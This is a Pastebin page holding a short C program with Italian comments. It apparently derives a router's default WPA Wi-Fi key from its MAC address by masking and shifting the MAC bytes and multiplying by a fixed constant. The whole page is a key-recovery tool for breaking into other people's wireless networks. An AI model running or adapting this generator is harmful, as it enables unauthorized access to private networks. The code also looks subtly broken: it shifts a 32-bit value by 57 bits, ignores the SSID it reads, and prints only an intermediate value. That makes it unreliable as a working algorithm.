Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- //operazioni sui bits
- #define bit_get(p,m) ((p) & (m))
- #define bit_set(p,m) ((p) |= (m))
- #define bit_clear(p,m) ((p) &= ~(m))
- #define bit_flip(p,m) ((p) ^= (m))
- #define bit_write(c,p,m) (c ? bit_set(p,m) : bit_clear(p,m))
- #define BIT(x) (0x01 << (x))
- #define LONGBIT(x) ((unsigned long)0x00000001 << (x))
- int main( int argc, char **argv )
- {
- unsigned int v1,v0,a0,a1,a3,t0;
- unsigned int bitmask = 0xF;
- unsigned int mac[6];
- if( argc != 3 )
- {
- fprintf( stderr, "\nUsage: %s <SSID> <MAC>\n\n" , argv[0] );
- exit( -1 );
- }
- printf( ":: SSID: %s \n" , argv[1] );
- printf( ":: MAC: %s \n" , argv[2] );
- printf( "Computing WPA key...\n" );
- sscanf( argv[2], "%x:%x:%x:%x:%x:%x", mac, mac+1, mac+2, mac+3, mac+4, mac+5 );
- printf( ":: Splitting MAC: 0x%x : 0x%x : 0x%x : 0x%x : 0x%x : 0x%x \n" , mac[0], mac[1],mac[2],mac[3],mac[4],mac[5] );
- v1 = mac[2];
- v0 = mac[3];
- a0 = mac[4];
- v1 = (mac[2] & bitmask);
- a1 = mac[5];
- v0 = v0 << 16;
- v1 = v1 << 24;
- bit_set(v1,v0);
- a0 = a0 << 8;
- bit_set(v1,a0);
- bit_set(v1,a1);
- printf("Valore di v1: \t %x\n", v1);
- v0 = 0x55E63B89;
- v0 = (v1*v0);
- v0 = v0 >> 57;
- t0 = v0 * 0x5f5e100;
- a3 = v1 - t0;
- printf("valore di a3: \t %x\n", a3);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement